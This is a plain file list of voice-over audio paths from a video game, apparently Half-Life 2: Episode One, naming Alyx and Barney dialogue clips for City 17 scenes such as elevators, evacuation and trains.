+vo/episode_1/c17/al_elev_almosthere.wav +vo/episode_1/c17/al_elev_anyminute.wav +vo/episode_1/c17/al_elev_anyminute_loud.wav +vo/episode_1/c17/al_elev_anytime.wav +vo/episode_1/c17/al_elev_anytime_loud.wav +vo/episode_1/c17/al_elev_cantcall.wav +vo/episode_1/c17/al_elev_closer.wav +vo/episode_1/c17/al_elev_comeon.wav +vo/episode_1/c17/al_elev_crapnopower.wav +vo/episode_1/c17/al_elev_fewsec.wav +vo/episode_1/c17/al_elev_getin.wav +vo/episode_1/c17/al_elev_getingetin.wav +vo/episode_1/c17/al_elev_geton.wav +vo/episode_1/c17/al_elev_godnotagain.wav +vo/episode_1/c17/al_elev_hearsomething01.wav +vo/episode_1/c17/al_elev_hearsomething02.wav +vo/episode_1/c17/al_elev_hearsomething_loud01.wav +vo/episode_1/c17/al_elev_hearsomething_loud02.wav +vo/episode_1/c17/al_elev_hearthat.wav +vo/episode_1/c17/al_elev_herecomes.wav +vo/episode_1/c17/al_elev_heyihear.wav +vo/episode_1/c17/al_elev_hopelight.wav +vo/episode_1/c17/al_elev_isthatlight.wav +vo/episode_1/c17/al_elev_itshere.wav +vo/episode_1/c17/al_elev_itslight.wav +vo/episode_1/c17/al_elev_kidding.wav +vo/episode_1/c17/al_elev_letsgetout.wav +vo/episode_1/c17/al_elev_letsgo.wav +vo/episode_1/c17/al_elev_letsgo_new.wav +vo/episode_1/c17/al_elev_lookshaft.wav +vo/episode_1/c17/al_elev_movingagain.wav +vo/episode_1/c17/al_elev_nomore.wav +vo/episode_1/c17/al_elev_ok.wav +vo/episode_1/c17/al_elev_phew.wav +vo/episode_1/c17/al_elev_pleasewayout.wav +vo/episode_1/c17/al_elev_powersupply.wav +vo/episode_1/c17/al_elev_power_loud_nag01.wav +vo/episode_1/c17/al_elev_power_loud_nag02.wav +vo/episode_1/c17/al_elev_power_loud_nag03.wav +vo/episode_1/c17/al_elev_power_nag01.wav +vo/episode_1/c17/al_elev_power_nag02.wav +vo/episode_1/c17/al_elev_power_nag03.wav +vo/episode_1/c17/al_elev_relief.wav +vo/episode_1/c17/al_elev_seethetop.wav +vo/episode_1/c17/al_elev_somejuice.wav +vo/episode_1/c17/al_elev_soundscloser.wav +vo/episode_1/c17/al_elev_soundscloser_loud.wav +vo/episode_1/c17/al_elev_spark01.wav +vo/episode_1/c17/al_elev_spark02.wav +vo/episode_1/c17/al_elev_thatwasclose01.wav +vo/episode_1/c17/al_elev_thatwasclose02.wav +vo/episode_1/c17/al_elev_thatwasclose03.wav +vo/episode_1/c17/al_elev_thoughtwenever.wav +vo/episode_1/c17/al_elev_tooclose.wav +vo/episode_1/c17/al_elev_trouble.wav +vo/episode_1/c17/al_elev_waysurface.wav +vo/episode_1/c17/al_elev_whatstakingsolong.wav +vo/episode_1/c17/al_elev_whatstakingsolong_loud.wav +vo/episode_1/c17/al_elev_whereselev.wav +vo/episode_1/c17/al_elev_whereselev_loud.wav +vo/episode_1/c17/al_elev_wonderwire.wav +vo/episode_1/c17/al_elev_youseelight.wav +vo/episode_1/c17/al_elev_zombiesurprise.wav +vo/episode_1/c17/al_escape_rideswaiting.wav +vo/episode_1/c17/al_escape_trainsallset.wav +vo/episode_1/c17/al_escape_trainsready.wav +vo/episode_1/c17/al_evac_advisor01.wav +vo/episode_1/c17/al_evac_advisor02.wav +vo/episode_1/c17/al_evac_aimstrider.wav +vo/episode_1/c17/al_evac_allaboard.wav +vo/episode_1/c17/al_evac_byebarney01.wav +vo/episode_1/c17/al_evac_byebarney02.wav +vo/episode_1/c17/al_evac_byebarney03.wav +vo/episode_1/c17/al_evac_citadel_lit.wav +vo/episode_1/c17/al_evac_cits01.wav +vo/episode_1/c17/al_evac_cits02.wav +vo/episode_1/c17/al_evac_cits03.wav +vo/episode_1/c17/al_evac_cits04.wav +vo/episode_1/c17/al_evac_congrat01.wav +vo/episode_1/c17/al_evac_congrat02.wav +vo/episode_1/c17/al_evac_congrat03.wav +vo/episode_1/c17/al_evac_congrat04.wav +vo/episode_1/c17/al_evac_eventually01.wav +vo/episode_1/c17/al_evac_eventually02.wav +vo/episode_1/c17/al_evac_eventually03.wav +vo/episode_1/c17/al_evac_findbarney.wav +vo/episode_1/c17/al_evac_freetrain.wav +vo/episode_1/c17/al_evac_freetrain_alt.wav +vo/episode_1/c17/al_evac_good.wav +vo/episode_1/c17/al_evac_goodjob.wav +vo/episode_1/c17/al_evac_gostrider.wav +vo/episode_1/c17/al_evac_gothim01.wav +vo/episode_1/c17/al_evac_gothim02.wav +vo/episode_1/c17/al_evac_gunship.wav +vo/episode_1/c17/al_evac_headout.wav +vo/episode_1/c17/al_evac_headstart01.wav +vo/episode_1/c17/al_evac_headstart02.wav +vo/episode_1/c17/al_evac_keepthemoff.wav +vo/episode_1/c17/al_evac_leaveittoyou.wav +vo/episode_1/c17/al_evac_leaveyoutoit.wav +vo/episode_1/c17/al_evac_lookrpg.wav +vo/episode_1/c17/al_evac_madeit.wav +vo/episode_1/c17/al_evac_nag_apc01.wav +vo/episode_1/c17/al_evac_nag_apc02.wav +vo/episode_1/c17/al_evac_nag_gunship01.wav +vo/episode_1/c17/al_evac_nag_gunship02.wav +vo/episode_1/c17/al_evac_nag_rpg01.wav +vo/episode_1/c17/al_evac_nag_rpg02.wav +vo/episode_1/c17/al_evac_nextarea.wav +vo/episode_1/c17/al_evac_nextgroup01.wav +vo/episode_1/c17/al_evac_nextgroup02.wav +vo/episode_1/c17/al_evac_nextgroup03.wav +vo/episode_1/c17/al_evac_nextgroup04.wav +vo/episode_1/c17/al_evac_nextgroup05.wav +vo/episode_1/c17/al_evac_nexttrack.wav +vo/episode_1/c17/al_evac_notsohard01.wav +vo/episode_1/c17/al_evac_notsohard02.wav +vo/episode_1/c17/al_evac_notsohard03.wav +vo/episode_1/c17/al_evac_nowstrider.wav +vo/episode_1/c17/al_evac_ontous01.wav +vo/episode_1/c17/al_evac_ontous02.wav +vo/episode_1/c17/al_evac_protect01.wav +vo/episode_1/c17/al_evac_protect02.wav +vo/episode_1/c17/al_evac_protect03.wav +vo/episode_1/c17/al_evac_protect04.wav +vo/episode_1/c17/al_evac_protect05.wav +vo/episode_1/c17/al_evac_remind01.wav +vo/episode_1/c17/al_evac_remind02.wav +vo/episode_1/c17/al_evac_remind03.wav +vo/episode_1/c17/al_evac_remind04.wav +vo/episode_1/c17/al_evac_ridsniper.wav +vo/episode_1/c17/al_evac_shotgundrop.wav +vo/episode_1/c17/al_evac_sniper.wav +vo/episode_1/c17/al_evac_soundsgood01.wav +vo/episode_1/c17/al_evac_soundsgood02.wav +vo/episode_1/c17/al_evac_takestand.wav +vo/episode_1/c17/al_evac_thatsright.wav +vo/episode_1/c17/al_evac_trainfilling01.wav +vo/episode_1/c17/al_evac_trainfilling02.wav +vo/episode_1/c17/al_evac_watchsniper.wav +vo/episode_1/c17/al_evac_wemadeit.wav +vo/episode_1/c17/al_evac_werehere.wav +vo/episode_1/c17/al_evac_yes.wav +vo/episode_1/c17/al_excuseminute.wav +vo/episode_1/c17/al_figureaway.wav +vo/episode_1/c17/al_finale_allaboard.wav +vo/episode_1/c17/al_finale_gettrain.wav +vo/episode_1/c17/al_finale_goingout.wav +vo/episode_1/c17/al_finale_goingout_loud.wav +vo/episode_1/c17/al_finale_herewego.wav +vo/episode_1/c17/al_finale_herewego_alt.wav +vo/episode_1/c17/al_finale_holdingit.wav +vo/episode_1/c17/al_finale_jumpon.wav +vo/episode_1/c17/al_finale_lasttrain.wav +vo/episode_1/c17/al_finale_otherside01.wav +vo/episode_1/c17/al_finale_otherside02.wav +vo/episode_1/c17/al_finale_otherside_loud01.wav +vo/episode_1/c17/al_finale_otherside_loud02.wav +vo/episode_1/c17/al_finale_seeingdad.wav +vo/episode_1/c17/al_finale_wediditg01.wav +vo/episode_1/c17/al_finale_wediditg02.wav +vo/episode_1/c17/al_firefight01.wav +vo/episode_1/c17/al_firefight02.wav +vo/episode_1/c17/al_flares01.wav +vo/episode_1/c17/al_flares02.wav +vo/episode_1/c17/al_flares03.wav +vo/episode_1/c17/al_flares_first.wav +vo/episode_1/c17/al_flares_goingout.wav +vo/episode_1/c17/al_flood_floodroom01.wav +vo/episode_1/c17/al_flood_floodroom02.wav +vo/episode_1/c17/al_flood_floodroom03.wav +vo/episode_1/c17/al_flood_floodroom04.wav +vo/episode_1/c17/al_foundplace.wav +vo/episode_1/c17/al_garage_hearthink.wav +vo/episode_1/c17/al_garage_stragglers01.wav +vo/episode_1/c17/al_garage_stragglers02.wav +vo/episode_1/c17/al_garrison_getin.wav +vo/episode_1/c17/al_garrison_omgcitadel01.wav +vo/episode_1/c17/al_garrison_omgcitadel02.wav +vo/episode_1/c17/al_garrison_omgcitadel03.wav +vo/episode_1/c17/al_garrison_phew.wav +vo/episode_1/c17/al_garrison_stillhavetogetthru.wav +vo/episode_1/c17/al_gate_anyluckyet.wav +vo/episode_1/c17/al_gate_cantbelieve.wav +vo/episode_1/c17/al_gate_canthearus.wav +vo/episode_1/c17/al_gate_checkside.wav +vo/episode_1/c17/al_gate_doestrick.wav +vo/episode_1/c17/al_gate_goodletsgo.wav +vo/episode_1/c17/al_gate_heyupthere.wav +vo/episode_1/c17/al_gate_lookaround.wav +vo/episode_1/c17/al_gate_noitslocked.wav +vo/episode_1/c17/al_gate_ohgodno.wav +vo/episode_1/c17/al_gate_seeanyway.wav +vo/episode_1/c17/al_gate_slotforcrank.wav +vo/episode_1/c17/al_gate_spotwheel.wav +vo/episode_1/c17/al_gate_stillday.wav +vo/episode_1/c17/al_getacrosshow.wav +vo/episode_1/c17/al_getawayfromdoors.wav +vo/episode_1/c17/al_getbusy.wav +vo/episode_1/c17/al_getthemmoving.wav +vo/episode_1/c17/al_giftshop01.wav +vo/episode_1/c17/al_giftshop02.wav +vo/episode_1/c17/al_goodmeat.wav +vo/episode_1/c17/al_goodthink.wav +vo/episode_1/c17/al_goonbarney.wav +vo/episode_1/c17/al_gotyourback.wav +vo/episode_1/c17/al_gship_againagain.wav +vo/episode_1/c17/al_gship_cool.wav +vo/episode_1/c17/al_gship_crowbar01.wav +vo/episode_1/c17/al_gship_crowbar02.wav +vo/episode_1/c17/al_gship_holyterror01.wav +vo/episode_1/c17/al_gship_holyterror02.wav +vo/episode_1/c17/al_gship_holyterror03.wav +vo/episode_1/c17/al_gship_holyterror04.wav +vo/episode_1/c17/al_gship_holyterror05.wav +vo/episode_1/c17/al_gship_mess.wav +vo/episode_1/c17/al_gship_nuts.wav +vo/episode_1/c17/al_happykleiner.wav +vo/episode_1/c17/al_heretheycome.wav +vo/episode_1/c17/al_hiding01.wav +vo/episode_1/c17/al_hiding02.wav +vo/episode_1/c17/al_hiding03.wav +vo/episode_1/c17/al_holdingback.wav +vo/episode_1/c17/al_holesblocked_getoffstreet01.wav +vo/episode_1/c17/al_holesblocked_getoffstreet02.wav +vo/episode_1/c17/al_hospital_afteryou.wav +vo/episode_1/c17/al_hospital_didallright.wav +vo/episode_1/c17/al_hospital_electro.wav +vo/episode_1/c17/al_hospital_fallthru01.wav +vo/episode_1/c17/al_hospital_fallthru02.wav +vo/episode_1/c17/al_hospital_fallthru03.wav +vo/episode_1/c17/al_hospital_foundshotgun01.wav +vo/episode_1/c17/al_hospital_foundshotgun02.wav +vo/episode_1/c17/al_hospital_heretheycome.wav +vo/episode_1/c17/al_hospital_illgetthis.wav +vo/episode_1/c17/al_hospital_letsgo.wav +vo/episode_1/c17/al_hospital_medsupplies.wav +vo/episode_1/c17/al_hospital_morezombies.wav +vo/episode_1/c17/al_hospital_oneatatime.wav +vo/episode_1/c17/al_hospital_roomsweeper.wav +vo/episode_1/c17/al_hospital_shallwego.wav +vo/episode_1/c17/al_hospital_swamped01.wav +vo/episode_1/c17/al_hospital_swamped02.wav +vo/episode_1/c17/al_hospital_thrudoor.wav +vo/episode_1/c17/al_hospital_zombiefall.wav +vo/episode_1/c17/al_ifwedont.wav +vo/episode_1/c17/al_illtakestairs.wav +vo/episode_1/c17/al_incidentalinjury.wav +vo/episode_1/c17/al_isthatkleiner.wav +vo/episode_1/c17/al_keepaneye.wav +vo/episode_1/c17/al_kleinercast.wav +vo/episode_1/c17/al_lasttrains.wav +vo/episode_1/c17/al_lasttrain_alltoourselves.wav +vo/episode_1/c17/al_lasttrain_bringupanother01.wav +vo/episode_1/c17/al_lasttrain_bringupanother02.wav +vo/episode_1/c17/al_lasttrain_citadel.wav +vo/episode_1/c17/al_lasttrain_findswitch.wav +vo/episode_1/c17/al_lasttrain_getthistrainmoving01.wav +vo/episode_1/c17/al_lasttrain_getthistrainmoving02.wav +vo/episode_1/c17/al_lasttrain_gettingaway.wav +vo/episode_1/c17/al_lasttrain_Gordon.wav +vo/episode_1/c17/al_lasttrain_herewego.wav +vo/episode_1/c17/al_lasttrain_missedthatone.wav +vo/episode_1/c17/al_lasttrain_needanothertrain.wav +vo/episode_1/c17/al_lasttrain_next.wav +vo/episode_1/c17/al_lasttrain_notgoing.wav +vo/episode_1/c17/al_lasttrain_ohno.wav +vo/episode_1/c17/al_lasttrain_ohnogordon.wav +vo/episode_1/c17/al_lasttrain_omg.wav +vo/episode_1/c17/al_lasttrain_oneforus01.wav +vo/episode_1/c17/al_lasttrain_oneforus02.wav +vo/episode_1/c17/al_lasttrain_prompt01.wav +vo/episode_1/c17/al_lasttrain_prompt02.wav +vo/episode_1/c17/al_lasttrain_prompt03.wav +vo/episode_1/c17/al_lasttrain_pulling.wav +vo/episode_1/c17/al_lasttrain_slowing.wav +vo/episode_1/c17/al_lasttrain_thisisit.wav +vo/episode_1/c17/al_lasttrain_thisisswitch.wav +vo/episode_1/c17/al_lasttrain_toodangerous01.wav +vo/episode_1/c17/al_lasttrain_toodangerous02.wav +vo/episode_1/c17/al_letsgo02.wav +vo/episode_1/c17/al_letsgo03.wav +vo/episode_1/c17/al_letthemfight01.wav +vo/episode_1/c17/al_lookslikeundercontrol.wav +vo/episode_1/c17/al_looktarget_payphone.wav +vo/episode_1/c17/al_lowerbridge.wav +vo/episode_1/c17/al_madedamnthings.wav +vo/episode_1/c17/al_makejump.wav +vo/episode_1/c17/al_meltdown01.wav +vo/episode_1/c17/al_meltdown02.wav +vo/episode_1/c17/al_meltdown03.wav +vo/episode_1/c17/al_movecar.wav +vo/episode_1/c17/al_moveouttogether.wav +vo/episode_1/c17/al_museum01.wav +vo/episode_1/c17/al_museum02.wav +vo/episode_1/c17/al_nag_station01.wav +vo/episode_1/c17/al_nag_station02.wav +vo/episode_1/c17/al_nag_station03.wav +vo/episode_1/c17/al_nag_station04.wav +vo/episode_1/c17/al_needtokeepmoving.wav +vo/episode_1/c17/al_nextfloor.wav +vo/episode_1/c17/al_nicestrider.wav +vo/episode_1/c17/al_nostairs.wav +vo/episode_1/c17/al_notanymore.wav +vo/episode_1/c17/al_notellingtime.wav +vo/episode_1/c17/al_offyourback.wav +vo/episode_1/c17/al_ohnoapc.wav +vo/episode_1/c17/al_okdownthere.wav +vo/episode_1/c17/al_onedeadstrider.wav +vo/episode_1/c17/al_openseason.wav +vo/episode_1/c17/al_outofbullets.wav +vo/episode_1/c17/al_overtoyou.wav +vo/episode_1/c17/al_pb1_afterall.wav +vo/episode_1/c17/al_pb1_guessthatwasntit.wav +vo/episode_1/c17/al_pb1_hm.wav +vo/episode_1/c17/al_pb1_isee.wav +vo/episode_1/c17/al_pb1_lettherebelight01.wav +vo/episode_1/c17/al_pb1_lettherebelight02.wav +vo/episode_1/c17/al_pb1_morelight.wav +vo/episode_1/c17/al_pb1_nicenottorely.wav +vo/episode_1/c17/al_pb1_noreasonicant.wav +vo/episode_1/c17/al_pb1_oh.wav +vo/episode_1/c17/al_pb1_ohgreat.wav +vo/episode_1/c17/al_pb1_ready.wav +vo/episode_1/c17/al_pb1_therewego.wav +vo/episode_1/c17/al_pb1_thisinstead.wav +vo/episode_1/c17/al_pb1_toomuchpower.wav +vo/episode_1/c17/al_pb1_whatididwrong.wav +vo/episode_1/c17/al_pb1_whatsthis.wav +vo/episode_1/c17/al_pbox_nicejobandgun01.wav +vo/episode_1/c17/al_pbox_nicejobandgun02.wav +vo/episode_1/c17/al_pbox_padlock01.wav +vo/episode_1/c17/al_pbox_padlock02.wav +vo/episode_1/c17/al_pb_anotherlock.wav +vo/episode_1/c17/al_pb_antlions01.wav +vo/episode_1/c17/al_pb_antlions02.wav +vo/episode_1/c17/al_pb_antlions03.wav +vo/episode_1/c17/al_pb_awayout.wav +vo/episode_1/c17/al_pb_buildcharge.wav +vo/episode_1/c17/al_pb_chargetofull.wav +vo/episode_1/c17/al_pb_crossfingers.wav +vo/episode_1/c17/al_pb_cycleup.wav +vo/episode_1/c17/al_pb_damnpowerlock01.wav +vo/episode_1/c17/al_pb_damnpowerlock02.wav +vo/episode_1/c17/al_pb_didit.wav +vo/episode_1/c17/al_pb_findapb.wav +vo/episode_1/c17/al_pb_followcable.wav +vo/episode_1/c17/al_pb_gettingbetter.wav +vo/episode_1/c17/al_pb_givemelight.wav +vo/episode_1/c17/al_pb_gottabekidding.wav +vo/episode_1/c17/al_pb_hatetosay.wav +vo/episode_1/c17/al_pb_herewego.wav +vo/episode_1/c17/al_pb_heyimgood.wav +vo/episode_1/c17/al_pb_knowthedrill.wav +vo/episode_1/c17/al_pb_messtakelonger.wav +vo/episode_1/c17/al_pb_mightgivejolt.wav +vo/episode_1/c17/al_pb_mightwork.wav +vo/episode_1/c17/al_pb_notbad.wav +vo/episode_1/c17/al_pb_readyforjolt.wav +vo/episode_1/c17/al_pb_reminders01.wav +vo/episode_1/c17/al_pb_reminders02.wav +vo/episode_1/c17/al_pb_reminders03.wav +vo/episode_1/c17/al_pb_reminders04.wav +vo/episode_1/c17/al_pb_reminders05.wav +vo/episode_1/c17/al_pb_sofarsogood.wav +vo/episode_1/c17/al_pb_sorry01.wav +vo/episode_1/c17/al_pb_sorry02.wav +vo/episode_1/c17/al_pb_sorry03.wav +vo/episode_1/c17/al_pb_startagain01.wav +vo/episode_1/c17/al_pb_startagain02.wav +vo/episode_1/c17/al_pb_startagain03.wav +vo/episode_1/c17/al_pb_startagain04.wav +vo/episode_1/c17/al_pb_thereitis.wav +vo/episode_1/c17/al_peoplelistening.wav +vo/episode_1/c17/al_peopletohelp.wav +vo/episode_1/c17/al_plantbounce.wav +vo/episode_1/c17/al_plaza_view01.wav +vo/episode_1/c17/al_plaza_view02.wav +vo/episode_1/c17/al_plaza_view03.wav +vo/episode_1/c17/al_pushcarback.wav +vo/episode_1/c17/al_pzombie_covered.wav +vo/episode_1/c17/al_pzombie_hate.wav +vo/episode_1/c17/al_pzombie_ohno.wav +vo/episode_1/c17/al_rappel_alert01.wav +vo/episode_1/c17/al_rappel_alert02.wav +vo/episode_1/c17/al_rappel_alert03.wav +vo/episode_1/c17/al_rappel_hearthat.wav +vo/episode_1/c17/al_rappel_hearthat_loud.wav +vo/episode_1/c17/al_rappel_hoping.wav +vo/episode_1/c17/al_rappel_looking01.wav +vo/episode_1/c17/al_rappel_looking02.wav +vo/episode_1/c17/al_rappel_rooftops.wav +vo/episode_1/c17/al_rappel_rooftops_loud.wav +vo/episode_1/c17/al_rappel_scanners.wav +vo/episode_1/c17/al_rappel_spotted.wav +vo/episode_1/c17/al_rattrap.wav +vo/episode_1/c17/al_rearguard.wav +vo/episode_1/c17/al_roller_holdingoff.wav +vo/episode_1/c17/al_safehouse_clearout.wav +vo/episode_1/c17/al_safehouse_figureitout01.wav +vo/episode_1/c17/al_safehouse_figureitout02.wav +vo/episode_1/c17/al_safehouse_illgetthis.wav +vo/episode_1/c17/al_safehouse_million.wav +vo/episode_1/c17/al_safehouse_separate01.wav +vo/episode_1/c17/al_safehouse_separate02.wav +vo/episode_1/c17/al_safehouse_soundgood.wav +vo/episode_1/c17/al_safehouse_stoleinfo01.wav +vo/episode_1/c17/al_safehouse_stoleinfo02.wav +vo/episode_1/c17/al_safehouse_stoleinfo03.wav +vo/episode_1/c17/al_safehouse_takeus.wav +vo/episode_1/c17/al_safehouse_tellus.wav +vo/episode_1/c17/al_safehouse_vorthand01.wav +vo/episode_1/c17/al_safehouse_vorthand02.wav +vo/episode_1/c17/al_safehouse_vorthand03.wav +vo/episode_1/c17/al_safehouse_vortsomething01.wav +vo/episode_1/c17/al_safehouse_vortsomething02.wav +vo/episode_1/c17/al_safehouse_whataboutyou.wav +vo/episode_1/c17/al_safehouse_yeah.wav +vo/episode_1/c17/al_safehouse_yeah_new.wav +vo/episode_1/c17/al_sameaslasttime.wav +vo/episode_1/c17/al_seats.wav +vo/episode_1/c17/al_shortwork.wav +vo/episode_1/c17/al_shouldevac.wav +vo/episode_1/c17/al_slugourway.wav +vo/episode_1/c17/al_sniper_bringroller.wav +vo/episode_1/c17/al_sniper_cantcomewith.wav +vo/episode_1/c17/al_sniper_cantgetthru.wav +vo/episode_1/c17/al_sniper_cantgoout.wav +vo/episode_1/c17/al_sniper_cantgoout2.wav +vo/episode_1/c17/al_sniper_climbup.wav +vo/episode_1/c17/al_sniper_dontrunout.wav +vo/episode_1/c17/al_sniper_dontwasteroller01.wav +vo/episode_1/c17/al_sniper_dontwasteroller02.wav +vo/episode_1/c17/al_sniper_fort.wav +vo/episode_1/c17/al_sniper_grabroller01.wav +vo/episode_1/c17/al_sniper_grabroller02.wav +vo/episode_1/c17/al_sniper_grabroller03.wav +vo/episode_1/c17/al_sniper_grabroller04.wav +vo/episode_1/c17/al_sniper_headoff01.wav +vo/episode_1/c17/al_sniper_headoff02.wav +vo/episode_1/c17/al_sniper_holdback.wav +vo/episode_1/c17/al_sniper_lobroller.wav +vo/episode_1/c17/al_sniper_minesonourside.wav +vo/episode_1/c17/al_sniper_mounted.wav +vo/episode_1/c17/al_sniper_pinned.wav +vo/episode_1/c17/al_sniper_runpoint.wav +vo/episode_1/c17/al_sniper_runpoint_new01.wav +vo/episode_1/c17/al_sniper_runpoint_new02.wav +vo/episode_1/c17/al_sniper_runpoint_new03.wav +vo/episode_1/c17/al_sniper_runpoint_new04.wav +vo/episode_1/c17/al_sniper_takeoutsniper.wav +vo/episode_1/c17/al_snipe_close01.wav +vo/episode_1/c17/al_snipe_close02.wav +vo/episode_1/c17/al_snipe_gunner.wav +vo/episode_1/c17/al_snipe_ladder01.wav +vo/episode_1/c17/al_snipe_ladder02.wav +vo/episode_1/c17/al_snipe_ladder03.wav +vo/episode_1/c17/al_snipe_lure01.wav +vo/episode_1/c17/al_snipe_lure02.wav +vo/episode_1/c17/al_snipe_lure03.wav +vo/episode_1/c17/al_snipe_lure04.wav +vo/episode_1/c17/al_snipe_openandcover01.wav +vo/episode_1/c17/al_snipe_openandcover02.wav +vo/episode_1/c17/al_snipe_post.wav +vo/episode_1/c17/al_snipe_rollers.wav +vo/episode_1/c17/al_snipe_runforit01.wav +vo/episode_1/c17/al_snipe_runforit02.wav +vo/episode_1/c17/al_snipe_runforit03.wav +vo/episode_1/c17/al_snipe_toss.wav +vo/episode_1/c17/al_someonefiring.wav +vo/episode_1/c17/al_startingtoflarehurry.wav +vo/episode_1/c17/al_stillcrank.wav +vo/episode_1/c17/al_strider_again.wav +vo/episode_1/c17/al_strider_another.wav +vo/episode_1/c17/al_strider_berightback.wav +vo/episode_1/c17/al_strider_cantleave.wav +vo/episode_1/c17/al_strider_cantleave_loud.wav +vo/episode_1/c17/al_strider_careful.wav +vo/episode_1/c17/al_strider_fantastic.wav +vo/episode_1/c17/al_strider_getdown.wav +vo/episode_1/c17/al_strider_hurting01.wav +vo/episode_1/c17/al_strider_hurting02.wav +vo/episode_1/c17/al_strider_keephammering.wav +vo/episode_1/c17/al_strider_myhero.wav +vo/episode_1/c17/al_strider_mynewhero.wav +vo/episode_1/c17/al_strider_mynewhero_alt.wav +vo/episode_1/c17/al_strider_omg.wav +vo/episode_1/c17/al_strider_overhere.wav +vo/episode_1/c17/al_strider_pummel01.wav +vo/episode_1/c17/al_strider_pummel02.wav +vo/episode_1/c17/al_strider_scratch.wav +vo/episode_1/c17/al_strider_scratch_loud.wav +vo/episode_1/c17/al_strider_watchout.wav +vo/episode_1/c17/al_strider_yes.wav +vo/episode_1/c17/al_strider_youdidit.wav +vo/episode_1/c17/al_sublevelcut.wav +vo/episode_1/c17/al_subwaymap01.wav +vo/episode_1/c17/al_subwaymap02.wav +vo/episode_1/c17/al_subwaymap03.wav +vo/episode_1/c17/al_subwaymap04.wav +vo/episode_1/c17/al_survivors.wav +vo/episode_1/c17/al_thanksforcover.wav +vo/episode_1/c17/al_thatsoundagain.wav +vo/episode_1/c17/al_thereyouare.wav +vo/episode_1/c17/al_tooksolong.wav +vo/episode_1/c17/al_tougherthanithought.wav +vo/episode_1/c17/al_tow_crank.wav +vo/episode_1/c17/al_tow_doorstuck.wav +vo/episode_1/c17/al_tow_goodidea.wav +vo/episode_1/c17/al_tow_great.wav +vo/episode_1/c17/al_tow_tighter.wav +vo/episode_1/c17/al_tow_tool.wav +vo/episode_1/c17/al_train_bitofluck.wav +vo/episode_1/c17/al_train_climbon.wav +vo/episode_1/c17/al_train_close.wav +vo/episode_1/c17/al_train_flare.wav +vo/episode_1/c17/al_train_gonnamakeit.wav +vo/episode_1/c17/al_train_gonnamiss.wav +vo/episode_1/c17/al_train_gordon.wav +vo/episode_1/c17/al_train_hereitgoes.wav +vo/episode_1/c17/al_train_herewego.wav +vo/episode_1/c17/al_train_holdon.wav +vo/episode_1/c17/al_train_itsgoing.wav +vo/episode_1/c17/al_train_jump.wav +vo/episode_1/c17/al_train_jumpon.wav +vo/episode_1/c17/al_train_letsgonow.wav +vo/episode_1/c17/al_train_madeit01.wav +vo/episode_1/c17/al_train_madeit02.wav +vo/episode_1/c17/al_train_madeit03.wav +vo/episode_1/c17/al_train_missedit.wav +vo/episode_1/c17/al_train_ohnomissed.wav +vo/episode_1/c17/al_train_omg.wav +vo/episode_1/c17/al_train_onemore.wav +vo/episode_1/c17/al_train_overthere.wav +vo/episode_1/c17/al_train_ride01.wav +vo/episode_1/c17/al_train_ride02.wav +vo/episode_1/c17/al_train_stillcatch.wav +vo/episode_1/c17/al_train_thatone.wav +vo/episode_1/c17/al_train_thereitgoes.wav +vo/episode_1/c17/al_train_thisisit.wav +vo/episode_1/c17/al_train_thisway.wav +vo/episode_1/c17/al_tunnel_catchbreath01.wav +vo/episode_1/c17/al_tunnel_catchbreath02.wav +vo/episode_1/c17/al_tunnel_holdup.wav +vo/episode_1/c17/al_tunnel_noteasy01.wav +vo/episode_1/c17/al_tunnel_noteasy02.wav +vo/episode_1/c17/al_tunnel_noteasy03.wav +vo/episode_1/c17/al_tunnel_sameboat01.wav +vo/episode_1/c17/al_tunnel_sameboat02.wav +vo/episode_1/c17/al_tunnel_surface.wav +vo/episode_1/c17/al_turrets.wav +vo/episode_1/c17/al_turretsempty.wav +vo/episode_1/c17/al_tvsmash05.wav +vo/episode_1/c17/al_uhohcomingthru.wav +vo/episode_1/c17/al_ventskills.wav +vo/episode_1/c17/al_watchdoor.wav +vo/episode_1/c17/al_watchself.wav +vo/episode_1/c17/al_watch_barnacle.wav +vo/episode_1/c17/al_welldowhatwecan.wav +vo/episode_1/c17/al_whatimiss.wav +vo/episode_1/c17/al_whatsbeeping.wav +vo/episode_1/c17/al_whatsound.wav +vo/episode_1/c17/al_whatwegonnado.wav +vo/episode_1/c17/al_wholecity.wav +vo/episode_1/c17/al_whydefendgarrison.wav +vo/episode_1/c17/al_whystickaround01.wav +vo/episode_1/c17/al_whystickaround02.wav +vo/episode_1/c17/al_whystickaround03.wav +vo/episode_1/c17/al_whythisway.wav +vo/episode_1/c17/al_workingonit01.wav +vo/episode_1/c17/al_workingonit02.wav +vo/episode_1/c17/al_youdonethisbefore.wav +vo/episode_1/c17/al_youfinished.wav +vo/episode_1/c17/al_youheardthem.wav +vo/episode_1/c17/al_zombieroom_Gordon.wav +vo/episode_1/c17/al_zombieroom_heavyhev.wav +vo/episode_1/c17/al_zombieroom_landlord.wav +vo/episode_1/c17/al_zombieroom_lookout.wav +vo/episode_1/c17/al_zombieroom_lookout01.wav +vo/episode_1/c17/al_zombieroom_lookout02.wav +vo/episode_1/c17/al_zombieroom_scenic.wav +vo/episode_1/c17/al_zombine_asif.wav +vo/episode_1/c17/al_zombine_crap.wav +vo/episode_1/c17/al_zombine_everywhere.wav +vo/episode_1/c17/al_zombine_getit01.wav +vo/episode_1/c17/al_zombine_getit02.wav +vo/episode_1/c17/al_zombine_gothru.wav +vo/episode_1/c17/al_zombine_grenade.wav +vo/episode_1/c17/al_zombine_joke01.wav +vo/episode_1/c17/al_zombine_joke02.wav +vo/episode_1/c17/al_zombine_joke03.wav +vo/episode_1/c17/al_zombine_joke04.wav +vo/episode_1/c17/al_zombine_shinelight.wav +vo/episode_1/c17/al_zombine_trooptrain.wav +vo/episode_1/c17/al_zombine_wth.wav +vo/episode_1/c17/ba_anothergroup.wav +vo/episode_1/c17/ba_areyoucrazy.wav +vo/episode_1/c17/ba_areyousure.wav +vo/episode_1/c17/ba_asskicking.wav +vo/episode_1/c17/ba_beforeyougo01.wav +vo/episode_1/c17/ba_beforeyougo02.wav +vo/episode_1/c17/ba_bestthing01.wav +vo/episode_1/c17/ba_bestthing02.wav +vo/episode_1/c17/ba_bestthing03.wav +vo/episode_1/c17/ba_catchup.wav +vo/episode_1/c17/ba_comeon01.wav +vo/episode_1/c17/ba_deceiving01.wav +vo/episode_1/c17/ba_deceiving02.wav +vo/episode_1/c17/ba_deceiving03.wav +vo/episode_1/c17/ba_defendcitizens01.wav +vo/episode_1/c17/ba_defendcitizens02.wav +vo/episode_1/c17/ba_defendcitizens03.wav +vo/episode_1/c17/ba_defendcitizens04.wav +vo/episode_1/c17/ba_defendcitizens05.wav 